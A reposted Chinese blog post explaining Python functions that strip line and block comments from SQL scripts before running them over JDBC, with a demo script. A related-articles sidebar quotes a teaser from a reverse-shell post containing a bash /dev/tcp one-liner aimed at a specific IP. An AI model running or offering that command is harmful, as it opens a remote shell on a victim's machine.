用python去除SQL中的注释

我的博客
在看到这个标题时候肯定有人会想,我写SQL直接在数据库工具上执行就行了啊,工具会自动识别注释的,就是不用工具,把SQL写到存储过程里,数据库也会识别注释不执行的,干嘛非要去掉,费力不讨好。

其实是最近在做一个项目,需要在行云库里执行SQL,并且SQL是写在脚本上的,通过JDBC调用,众所周知,SQL的注释很随意,甚至有什么保佑不出bug这种,那么执行的时候就很有可能因为注释里的特殊字符导致一堆莫名其妙的bug出现,并且行云数据库是一个国产的不太完善的数据库,所以本身对特殊字符的支持也不是很好,所以去除注释势在必行。

好了,废话说的够多了,现在上代码,因为行注释和段落注释使用的注释方法不同,所以这里分成两个功能来写

去除行注释
说明:因为行注释是从--开始一直到结尾都算行注释,所以一个正则就可以搞定了
def rehint_line(sql_values):
  rev = re.compile('--.*\\n?')
  sql_values = re.sub(rev,'\n',sql_values)
  return sql_values

行注释看起来还是比较简单的,其实我也没想到会这么简单,哈哈哈哈哈

去除段注释
'''
说明:
  1、在读取SQL的时候需要一次全部读出来,然后赋值给变量
  2、迭代读取SQL中的每一个字符,并且把字符写到新的变量里
  3、如果遇到/或*就记录下,例如给变量v
  4、当遇到/之后,紧跟着下一个字符是*,那就停止把字符写到变量,直到遇到*之后紧跟着下一个字符是/
'''
def rehint_limit(sql_values):
  write_tag = 0 # 用来控制是否写入新变量
  write_limit = '' # 记录/或者*
  sql_result = '' # 记录去除注释后的结果
  for case in sql_values:
    if (write_limit + case) == '/*':
      sql_result = sql_result.strip('/') # 去除最后一个/
      write_tag += 1
    if write_tag == 0:
      sql_result += case
    if (write_limit + case) == '*/':
      write_tag -= 1
    write_limit = ''
    if '/' == case or '*' == case:
      write_limit = case
  return sql_result

恩,段注释有一些麻烦,不过还好,我写说明了,如果大家有更好更有效率的办法欢迎提供

下面试下效果,把下面代码存成rehint.py,或者你想存成别的也行,名字随意啦

#!/usr/bin/python
coding: utf-8

import re

def rehint_limit(sql_values):
  write_tag = 0 # 用来控制是否写入新变量
  write_limit = '' # 记录/或者*
  sql_result = '' # 记录去除注释后的结果
  for case in sql_values:
    if (write_limit + case) == '/*':
      sql_result = sql_result.strip('/') # 去除最后一个/
      write_tag += 1
    if write_tag == 0:
      sql_result += case
    if (write_limit + case) == '*/':
      write_tag -= 1
    write_limit = ''
    if '/' == case or '*' == case:
      write_limit = case
  return sql_result

def rehint_line(sql_values):
  rev = re.compile('--.*\\n?')
  sql_values = re.sub(rev,'\n',sql_values)
  return sql_values

if __name__ == '__main__':
  sql = '''
--这是个sql
select '1' v1,'2' v2 from dual union all
select '2' v1,'3' v2 from dual union all
/* 这段select 1 v1,2 v2 from dual union all
select 2 v1,3 v2 from dual 写错了
*/
select /* 这个是select语句 */ 'a' v1, --v1列
       'b' v2 --v2列
from dual --dual是个伪表
'''
  print(sql)
  # 先去除段注释
  sql = rehint_limit(sql)
  print('rehint_limit: ' + sql)
  # 去除行注释
  sql = rehint_line(sql)
  print('rehint_line: ' + sql)

执行结果见截图

用python去除SQL中的注释

效果和预想的结果一样,注释去除的干干净净

Original: https://www.cnblogs.com/xiu123/p/16691503.html
Author: 咻_python
Title: 用python去除SQL中的注释

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578157/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Windows 10安装

    使用U盘安装操作系统教程 本教程介绍如何使用U盘安装操作系统,以安装Windows 10过程作为举例。 1 获取操作系统iso镜像文件 获取操作系统ISO镜像文件有很多途径,此处介…

    Linux 2023年6月13日
    084
  • .NET服务治理之限流中间件-FireflySoft.RateLimit

    FireflySoft.RateLimit自2021年1月发布第一个版本以来,经历了多次升级迭代,目前已经十分稳定,被很多开发者应用到了生产系统中,最新发布的版本是3.0.0。 它…

    Linux 2023年6月13日
    089
  • 内部类

    内部类:将一个类的定义放在另一个类的定义内部。内部类机制可以把逻辑相关的类组织在一起,并控制位于内部的类的可视性。 内部类与组合是完全不同的概念。 内部类不仅是一种代码隐藏机制(将…

    Linux 2023年6月8日
    090
  • 解决 Docker Push Skipped foreign layer 的错误

    引言当Docker推送基于Windows镜像到私有仓库的时候会遇到 Skipped foreign layer的问题。 docker push 192.168.2.30:5000/…

    Linux 2023年6月14日
    099
  • Mybatis 实体别名支持通配符扫描

    问题 Spring集成Mybatis的项目中,可以为指定包下的实体取别名,这样在Mapper xml文件中可以省略实体类的全路径名称,只写类名称即可;但是在多模块项目中,可能需要将…

    Linux 2023年6月14日
    098
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    086
  • python爬虫配置IP代理池(ProxyPool)

    关注我的公众号【靠谱杨的挨踢生活】回复 ProxyPool可以免费获取网盘链接。也可自行搜索下载:https://github.com/Python3WebSpider/Proxy…

    Linux 2023年6月14日
    0101
  • MySQL提示sql_mode=only_full_group_by解决办法

    MySQL异常sql_mode=only_full_group_by 原因:在MySQL 5.7后MySQL默认开启了SQL_MODE严格模式,对数据进行严格校验。会报sql_mo…

    Linux 2023年6月13日
    0111
  • cobbler的部署

    cobbler部署 //配置yum源 [root@localhost ~]# curl -o /etc/yum.repos.d/CentOS-Base.repo https://m…

    Linux 2023年6月13日
    082
  • 智能指针

    RAII(Resource Acquisition Is Initialization)是一种利用对象生命周期来控制程序资源(如内 存、文件句柄、网络连接、互斥量等等)的简单技术。…

    Linux 2023年6月13日
    071
  • 常用的分布式锁和redis和zk两种分布式锁的对比

    常用的分布式锁 一、基于数据库实现分布式锁 1. 悲观锁 利用select … where … for update 排他锁 注意: 其他附加功能与实现一基…

    Linux 2023年5月28日
    071
  • Java50个关键字之final

    1)final用于声明属性、方法和类,分别表示属性不可变、方法不可覆盖、类不可被继承(不能再派生出新的子类)。 final属性:被final修饰的变量不可变,由于不可变有两重含义,…

    Linux 2023年6月7日
    081
  • 博客被阮一峰引流后,我对“大数据”的分析与思考

    事情经过 2021年9月3日,一个普通的的早上,我照常打开了我的小博客网站echeverra,看看有没有评论,虽然知道大概率没几个人访问,更鲜有人评论,可还是想打开自己的小窝瞅上那…

    Linux 2023年6月7日
    071
  • Java 的JAR包、EAR包、WAR包区别

    WAR(Web Archive file) 网络应用程序文件,是与平台无关的文件格式,它允许将许多文件组合成一个压缩文件。WAR专用于Web方面。大部分的JAVA WEB工程,都是…

    Linux 2023年6月14日
    096
  • 阿拉德之怒手游超详细图文架设教程

    写在前面 你是否还记得DNF,一天你不小心救了赛丽亚,从此变成了拯救阿拉德大陆的勇士,从此开始冒险之旅,不管你的职业是亲儿子还是下水道,你一直对你玩的角色情有独钟,在一次次刷图PK…

    Linux 2023年6月7日
    077
  • 字典服务的设计与管理

    编码问题,谁不想避其锋芒; 一、业务背景 在搜索引擎的功能上,曾经遇到过这样一个问题,数据库中某个公司名称中存在特殊编码,尽管数据已经正常同步到索引中,但是系统中关键词始终也无法匹…

    Linux 2023年6月14日
    073
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球